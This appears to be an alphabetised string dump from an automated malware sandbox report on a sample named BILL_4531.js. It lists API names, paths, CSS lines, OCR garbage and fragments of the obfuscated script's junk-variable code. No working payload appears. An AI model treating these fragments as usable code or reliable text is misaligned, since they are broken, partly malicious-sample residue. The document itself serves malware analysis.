_??__?0?_,_,_____,,__

Ansi based on Image Processing (screen_2.png)

_?m___q____?v____

Ansi based on Image Processing (screen_0.png)

_\zm^W_l

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

__'_q,_'i'

Ansi based on Image Processing (screen_0.png)

__,,??,_,?_0L???_______

Ansi based on Image Processing (screen_2.png)

__,__

Ansi based on Image Processing (screen_4.png)

__,o,h,v.Do_____resses

Ansi based on Image Processing (screen_4.png)

__^Ji'_PO_ANT

Ansi based on Image Processing (screen_4.png)

___,__0,,_

Ansi based on Image Processing (screen_4.png)

___0___>,__0_

Ansi based on Image Processing (screen_2.png)

____,

Ansi based on Image Processing (screen_2.png)

____,_________,_____

Ansi based on Image Processing (screen_2.png)

____>

Ansi based on Image Processing (screen_2.png)

____>___________>

Ansi based on Image Processing (screen_2.png)

_____

Ansi based on Image Processing (screen_2.png)

______

Ansi based on Image Processing (screen_2.png)

_______

Ansi based on Image Processing (screen_2.png)

________

Ansi based on Image Processing (screen_2.png)

_________0______

Ansi based on Image Processing (screen_2.png)

___________

Ansi based on Image Processing (screen_2.png)

_____________

Ansi based on Image Processing (screen_2.png)

______________

Ansi based on Image Processing (screen_2.png)

__badioinfo

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

__based(

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__cdecl

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__clrcall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__eabi

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__fastcall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__ii._a'0______

Ansi based on Image Processing (screen_4.png)

__mb_cur_max

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

__pascal

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__pioinfo

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

__ptr64

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__restrict

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__stdcall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__thiscall

Ansi based on Dropped File (gmpopenh264.dll.97104820)

__unaligned

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_a___

Ansi based on Image Processing (screen_0.png)

_beginthread

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_cabs

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_endthread

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_errno

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_fileno

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_fmo->pMbAllocMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_hypot

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_i_,__,

Ansi based on Image Processing (screen_4.png)

_isatty

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_itoa

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_itow

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_L_,_o_8__0_,__0

Ansi based on Image Processing (screen_2.png)

_llow

Ansi based on Image Processing (screen_4.png)

_logb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_lseeki64

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_nextafter

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_pic->buffer[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

_r__?m?______??9??v___?_

Ansi based on Image Processing (screen_2.png)

_snprintf

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_swab

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_ur__es

Ansi based on Image Processing (screen_4.png)

_vsnprintf

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_vsnwprintf

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_wcsicmp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_wcsnicmp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_write

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

`.rdata

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

`\??\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`\??\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`\??\Volume{8177f4e8-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`copy constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`default constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`dynamic atexit destructor for '

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`dynamic initializer for '

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector destructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector vbase constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`eh vector vbase copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`h````

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local static guard'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local static thread guard'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local vftable constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local vftable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`managed vector constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`managed vector copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`managed vector destructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`omni callsig'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`placement delete closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`placement delete[] closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`RTTI

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`scalar deleting destructor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`string'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`typeof'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`udt returning'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vbase destructor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vbtable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vcall'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector deleting destructor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector destructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector vbase constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vector vbase copy constructor iterator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`vftable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`virtual displacement map'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

a Trademark of The Mozilla Foundation.

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

a.main:hover {background:none;}

Ansi based on Dropped File (nav.css)

a^WW]mm_al

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

abcdefghijklmnopqrstuvwxyz

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ABCDEFGHIJKLMNOPQRSTUVWXYZ

Ansi based on Dropped File (gmpopenh264.dll.97104820)

about

Ansi based on Image Processing (screen_4.png)

Access Unit

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), iCountNumLayers(%d) > MAX_LAYER_NUM_OF_FRAME(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), num_of_nals(%d) > MAX_NAL_UNITS_IN_LAYER(%d) per (iDid= %d, qid= %d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), num_of_slice(%d) > MAX_SLICES_NUM(%d) per (iDid= %d, qid= %d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AddressFamily

Unicode based on Runtime Data (eXe )

AdjustTokenPrivileges

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

AdobeStock_39727445-300x200.jpeg

Unicode based on Runtime Data (eXe )

ADVAPI32

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ADVAPI32.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

advapi32.dll

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

advomij = advomij + 5.5405;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

adyrte = 1.788 + '36731';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

agasejiw = agasejiw + '45233';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

age_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

aggaqyxy = 4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Ainvalid syntax slice_alpha_c0_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

akV_~

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

Alloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Allocated size =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

altorgheader.png

Unicode based on Runtime Data (eXe )

AlwaysDrainOnRedirect

Unicode based on Runtime Data (eXe )

AlwaysShowExt

Unicode based on Runtime Data (wscript.exe )

america

Ansi based on Dropped File (gmpopenh264.dll.97104820)

american

Ansi based on Dropped File (gmpopenh264.dll.97104820)

american english

Ansi based on Dropped File (gmpopenh264.dll.97104820)

american-english

Ansi based on Dropped File (gmpopenh264.dll.97104820)

anwututdi = 53 + '6971';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

AppAssocReg.dll

Unicode based on Runtime Data (helper.exe )

AppData

Unicode based on Runtime Data (wscript.exe )

AppendMenuW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

April

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ar-KW

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ar-MA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Arg list too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Arguments Collection Object InterfaceW+

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Arguments Collection ObjectWWW!

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

arjozxibu = "amargansad";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

as-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ASWelsSvcCodingParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

atan2

Ansi based on Dropped File (gmpopenh264.dll.97104820)

atn-RS

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Attributes

Unicode based on Runtime Data (wscript.exe )

August

Ansi based on Dropped File (gmpopenh264.dll.97104820)

australian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AuthenticAMD

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AuthenticodeEnabled

Unicode based on Runtime Data (wscript.exe )

AUTO CORRECT: Invalid settings in input frame rate(%.6f) and output frame rate(%.6f) of layer #%d config file: iResult of output frame rate divided by input frame rate should be power of 2(i.e,in/pOut=2^n). Auto correcting Output Framerate to Input Fram

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AutoCheckSelect

Unicode based on Runtime Data (wscript.exe )

AutoConfigCustomUA

Unicode based on Runtime Data (eXe )

AutoConfigURL

Unicode based on Runtime Data (eXe )

AutoDetect

Unicode based on Runtime Data (wscript.exe )

AutodialDLL

Unicode based on Runtime Data (eXe )

available

Ansi based on Image Processing (screen_4.png)

aznuwpixzywg = "yjfiqap";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ba-RU

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

background-color: #0033FF;

Ansi based on Dropped File (nav.css)

background-position:right;

Ansi based on Dropped File (nav.css)

background-repeat:no-repeat;

Ansi based on Dropped File (nav.css)

background: #333;

Ansi based on Dropped File (nav.css)

background: #3c5af6;

Ansi based on Dropped File (home-&-garden)

background: #E2E4CD;

Ansi based on Dropped File (nav.css)

background: #fff;

Ansi based on Dropped File (nav.css)

background:#666;

Ansi based on Dropped File (nav.css)

background:#880000;

Ansi based on Dropped File (nav.css)

background:#fff;

Ansi based on Dropped File (nav.css)

background:none;

Ansi based on Dropped File (nav.css)

Bad address

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad allocation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad cast

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad exception

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Bad file descriptor

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad locale name

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BadProxyExpiresTime

Unicode based on Runtime Data (eXe )

Base Class Array'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Base Class Descriptor at (

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BBBp;;;>

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

BC .=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BeginPaint

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

belgian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bEnableFrameSkip = %d,bitrate can't be controlled for RC_QUALITY_MODE and RC_BITRATE_MODE without enabling skip frame.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BitRate(kbps):

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bj3fk.

Ansi based on Image Processing (screen_4.png)

bn-BD

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bn-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bo-CN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

border-bottom: 1px solid #666;

Ansi based on Dropped File (nav.css)

border-bottom:1px solid #fff;

Ansi based on Dropped File (nav.css)

border-color: #3c5af6;

Ansi based on Dropped File (home-&-garden)

border-left: 1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border-left: 1px solid #fff;

Ansi based on Dropped File (nav.css)

border-left:1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border-right: 1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border-right: 1px solid #fff;

Ansi based on Dropped File (nav.css)

border-top: 1px solid #fff;

Ansi based on Dropped File (nav.css)

border-top:1px solid #cacbcb;

Ansi based on Dropped File (nav.css)

border: 1px solid #ddd;

Ansi based on Dropped File (home-&-garden)

border:none;

Ansi based on Dropped File (nav.css)

box-shadow: 1px 1px 3px #c5c5c5;

Ansi based on Dropped File (nav.css)

break;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

britain

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Broken pipe

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BrowseInPlace

Unicode based on Runtime Data (wscript.exe )

browser

Ansi based on Image Processing (screen_4.png)

Browser:

Ansi based on Image Processing (screen_4.png)

bruary

Unicode based on Dropped File (gmpopenh264.dll.97104820)

bs-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bs-Latn-BA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bsearch

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bsJP2

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

bSliceSkipFlag == 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bvomsusdu = '57273';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

BypassHTTPNoCacheCheck

Unicode based on Runtime Data (eXe )

BypassSSLNoCacheCheck

Unicode based on Runtime Data (eXe )

%PROGRAMFILES%\Mozilla Firefox

Unicode based on Runtime Data (helper.exe )

%PROGRAMFILES%\Mozilla Firefox\firefox.exe,1

Unicode based on Runtime Data (helper.exe )

%USERPROFILE%\AppData

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%APPDATA%\eXe

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%LOCALAPPDATA%\Temp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\nsa2FE8.tmp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\nsa2FE8.tmp\System.dll

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Cache

Unicode based on Runtime Data (wscript.exe )

CacheLimit

Unicode based on Runtime Data (eXe )

CacheMode

Unicode based on Runtime Data (eXe )

CacheOptions

Unicode based on Runtime Data (eXe )

CachePath

Unicode based on Runtime Data (eXe )

CachePrefix

Unicode based on Runtime Data (eXe )

CacheRepair

Unicode based on Runtime Data (eXe )

callback%d

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

CallForAttributes

Unicode based on Runtime Data (wscript.exe )

CallWindowProcW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

canadian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

case '34230':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'aby':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'ddemixmocs':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'jcyd':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 'koqi':

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 1.671:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 10:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 1:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 21.46:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 8.654:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case false:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case null:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case true:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case undefined:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Category

Unicode based on Runtime Data (wscript.exe )

ccehef = '30898' + 18.953;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

CEIPEnable

Unicode based on Runtime Data (wscript.exe )

CertCacheNoValidate

Unicode based on Runtime Data (eXe )

CertificateRevocation

Unicode based on Runtime Data (eXe )

change level to level5.0

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CharNextA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CharNextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CharPrevW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CharUpperW

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

CheckDlgButton

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

chEd20

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

china

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-hongkong

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-simplified

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-singapore

Ansi based on Dropped File (gmpopenh264.dll.97104820)

chinese-traditional

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ciphers.

Ansi based on Image Processing (screen_4.png)

cipopyp = "38814";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ciscobinary.openh264.org

Ansi based on PCAP Processing (PCAP)

CityHash.dll

Unicode based on Runtime Data (helper.exe )

civjajre = '41562' + civjajre;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Class

Unicode based on Runtime Data (eXe )

Class Hierarchy Descriptor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ClientAuthBuiltInUI

Unicode based on Runtime Data (eXe )

CloseClipboard

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CloseHandle

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CloseWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

CLSID

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CLSIDFromProgID

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CLSIDFromString

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

cmd.exe

Unicode based on Runtime Data (wscript.exe )

CoCreateInstance

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoGetClassObject

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoGetInterfaceAndReleaseStream

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoGetMalloc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoInitialize

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoInitializeSecurity

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

color: #000 ;

Ansi based on Dropped File (nav.css)

color: #000;

Ansi based on Dropped File (nav.css)

color: #cacbcb;

Ansi based on Dropped File (nav.css)

color: #ffffff;

Ansi based on Dropped File (home-&-garden)

color:#000;

Ansi based on Dropped File (nav.css)

color:#cacbcb;

Ansi based on Dropped File (nav.css)

color:#ed1c24 !important;

Ansi based on Dropped File (nav.css)

color:#ed1c24;

Ansi based on Dropped File (nav.css)

color:#fff !important;

Ansi based on Dropped File (nav.css)

color:#fff;

Ansi based on Dropped File (nav.css)

color:#FFF;

Ansi based on Dropped File (nav.css)

Com+Enabled

Unicode based on Runtime Data (wscript.exe )

COM+Enabled

Unicode based on Runtime Data (wscript.exe )

CoMarshalInterThreadInterfaceInStream

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

COMCTL32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

command

Unicode based on Runtime Data (wscript.exe )

Command line options are saved.4The default script host is now set to "wscript.exe".4The default script host is now set to "cscript.exe".,Successful execution of Windows Script Host.3Successful remote execution of Windows Script Host.

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

community - thamizha.com

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

CompanyName

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

CompareFileTime

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Compatible

Unicode based on Runtime Data (eXe )

Complete Object Locator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ComputerName

Unicode based on Runtime Data (wscript.exe )

connect: true,

Ansi based on Dropped File (home-&-garden)

ConnectRetries

Unicode based on Runtime Data (eXe )

ConnectTimeOut

Unicode based on Runtime Data (eXe )

CONOUT$

Unicode based on Dropped File (gmpopenh264.dll.97104820)

ConsoleTracingMask

Unicode based on Runtime Data (eXe )

Content Type

Unicode based on Runtime Data (wscript.exe )

continuous error reached INT_MAX! Restart as 0.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Control Panel\Desktop\ResourceLocale

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Unicode based on Runtime Data (wscript.exe )

CopyFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CoRegisterClassObject

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoRegisterMessageFilter

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CoRevokeClassObject

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CorExitProcess

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Corporation

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

CoTaskMemFree

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Couldn't allocate empty I420 frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't create decoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't create new thread

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't encode frame. Error =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't encode frame. Type =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't initialize decoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't initialize encoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't make decoded frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CoUninitialize

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateBindCtx

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateBrushIndirect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateDialogParamW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateEventA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateFileA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateFileMappingA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateFileMappingW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateFileMoniker

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateFileW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateFontIndirectW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreatePopupMenu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateProcessW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateThread

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateToolhelp32Snapshot

